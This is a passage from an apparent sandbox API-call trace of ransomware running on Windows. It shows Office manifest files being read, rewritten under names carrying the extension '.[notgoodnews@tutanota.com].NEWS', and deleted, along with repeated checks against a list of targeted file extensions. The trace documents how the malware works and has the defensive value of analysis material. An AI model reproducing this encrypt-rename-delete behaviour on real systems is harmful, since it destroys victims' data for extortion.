liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0068.335] GetLastError () returned 0x0 [0068.335] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xc3863, lpOverlapped=0x0) returned 1 [0068.686] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xc3870, lpOverlapped=0x0) returned 1 [0068.706] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.706] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0068.706] SetEndOfFile (hFile=0x33c) returned 1 [0068.706] CloseHandle (hObject=0x33c) returned 1 [0069.272] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.272] SetEndOfFile (hFile=0x308) returned 1 [0069.279] CloseHandle (hObject=0x308) returned 1 [0069.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0069.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0069.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.280] lstrlenW (lpString=".doc") returned 4 [0069.280] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString=".docx") returned 5 [0069.280] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.280] lstrlenW (lpString=".pdf") returned 4 [0069.280] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString=".xls") returned 4 [0069.280] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString=".xlsx") returned 5 [0069.280] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.280] lstrlenW (lpString=".ppt") returned 4 [0069.280] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.280] lstrlenW (lpString=".zip") returned 4 [0069.280] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.280] lstrlenW (lpString=".rar") returned 4 [0069.280] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString=".bz2") returned 4 [0069.280] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString=".7z") returned 3 [0069.280] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.280] lstrlenW (lpString=".dbf") returned 4 [0069.280] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.280] lstrlenW (lpString=".1cd") returned 4 [0069.281] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString=".jpg") returned 4 [0069.281] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString=".doc") returned 4 [0069.281] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString=".docx") returned 5 [0069.281] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.281] lstrlenW (lpString=".pdf") returned 4 [0069.281] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString=".xls") returned 4 [0069.281] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString=".xlsx") returned 5 [0069.281] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.281] lstrlenW (lpString=".ppt") returned 4 [0069.281] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString=".zip") returned 4 [0069.281] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.281] lstrlenW (lpString=".rar") returned 4 [0069.281] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString=".bz2") returned 4 [0069.281] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString=".7z") returned 3 [0069.281] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString=".dbf") returned 4 [0069.281] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString=".1cd") returned 4 [0069.281] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 104 [0069.281] lstrlenW (lpString=".jpg") returned 4 [0069.282] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.282] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.282] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0069.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0069.282] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0069.282] CloseHandle (hObject=0x308) returned 1 [0069.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0069.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0069.282] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.282] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0069.283] GetLastError () returned 0x0 [0069.283] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0069.284] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0069.285] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.285] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0069.285] SetEndOfFile (hFile=0x33c) returned 1 [0069.286] CloseHandle (hObject=0x33c) returned 1 [0069.287] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.287] SetEndOfFile (hFile=0x308) returned 1 [0069.288] CloseHandle (hObject=0x308) returned 1 [0069.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0069.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0069.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.289] lstrlenW (lpString=".doc") returned 4 [0069.289] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.289] lstrlenW (lpString=".docx") returned 5 [0069.289] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.289] lstrlenW (lpString=".pdf") returned 4 [0069.289] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.289] lstrlenW (lpString=".xls") returned 4 [0069.289] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.289] lstrlenW (lpString=".xlsx") returned 5 [0069.289] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.289] lstrlenW (lpString=".ppt") returned 4 [0069.289] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.289] lstrlenW (lpString=".zip") returned 4 [0069.289] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.289] lstrlenW (lpString=".rar") returned 4 [0069.289] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.289] lstrlenW (lpString=".bz2") returned 4 [0069.290] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString=".7z") returned 3 [0069.290] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.290] lstrlenW (lpString=".dbf") returned 4 [0069.290] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.290] lstrlenW (lpString=".1cd") returned 4 [0069.290] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.290] lstrlenW (lpString=".jpg") returned 4 [0069.290] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.290] lstrlenW (lpString=".doc") returned 4 [0069.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString=".docx") returned 5 [0069.290] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.290] lstrlenW (lpString=".pdf") returned 4 [0069.290] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString=".xls") returned 4 [0069.290] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString=".xlsx") returned 5 [0069.290] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.290] lstrlenW (lpString=".ppt") returned 4 [0069.290] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.290] lstrlenW (lpString=".zip") returned 4 [0069.290] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.290] lstrlenW (lpString=".rar") returned 4 [0069.290] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString=".bz2") returned 4 [0069.290] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.290] lstrlenW (lpString=".7z") returned 3 [0069.290] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.291] lstrlenW (lpString=".dbf") returned 4 [0069.291] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.291] lstrlenW (lpString=".1cd") returned 4 [0069.291] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0069.291] lstrlenW (lpString=".jpg") returned 4 [0069.291] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.291] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.291] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0069.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0069.291] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0069.291] CloseHandle (hObject=0x308) returned 1 [0069.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0069.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0069.292] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.292] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0069.292] GetLastError () returned 0x0 [0069.292] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0069.294] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0069.295] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.295] WriteFile (in: hFile=0x33c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0069.295] SetEndOfFile (hFile=0x33c) returned 1 [0069.295] CloseHandle (hObject=0x33c) returned 1 [0069.296] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.296] SetEndOfFile (hFile=0x308) returned 1 [0069.297] CloseHandle (hObject=0x308) returned 1 [0069.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0069.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0069.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.297] lstrlenW (lpString=".doc") returned 4 [0069.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.297] lstrlenW (lpString=".docx") returned 5 [0069.297] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.297] lstrlenW (lpString=".pdf") returned 4 [0069.298] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".xls") returned 4 [0069.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".xlsx") returned 5 [0069.298] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.298] lstrlenW (lpString=".ppt") returned 4 [0069.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.298] lstrlenW (lpString=".zip") returned 4 [0069.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.298] lstrlenW (lpString=".rar") returned 4 [0069.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".bz2") returned 4 [0069.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".7z") returned 3 [0069.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.298] lstrlenW (lpString=".dbf") returned 4 [0069.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.298] lstrlenW (lpString=".1cd") returned 4 [0069.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.298] lstrlenW (lpString=".jpg") returned 4 [0069.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.298] lstrlenW (lpString=".doc") returned 4 [0069.298] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".docx") returned 5 [0069.298] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.298] lstrlenW (lpString=".pdf") returned 4 [0069.298] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".xls") returned 4 [0069.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.298] lstrlenW (lpString=".xlsx") returned 5 [0069.298] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.299] lstrlenW (lpString=".ppt") returned 4 [0069.299] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.299] lstrlenW (lpString=".zip") returned 4 [0069.299] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.299] lstrlenW (lpString=".rar") returned 4 [0069.299] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.299] lstrlenW (lpString=".bz2") returned 4 [0069.299] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.299] lstrlenW (lpString=".7z") returned 3 [0069.299] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.299] lstrlenW (lpString=".dbf") returned 4 [0069.299] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.299] lstrlenW (lpString=".1cd") returned 4 [0069.299] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0069.299] lstrlenW (lpString=".jpg") returned 4 [0069.299] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.299] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.299] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0069.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0069.299] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2147) returned 1 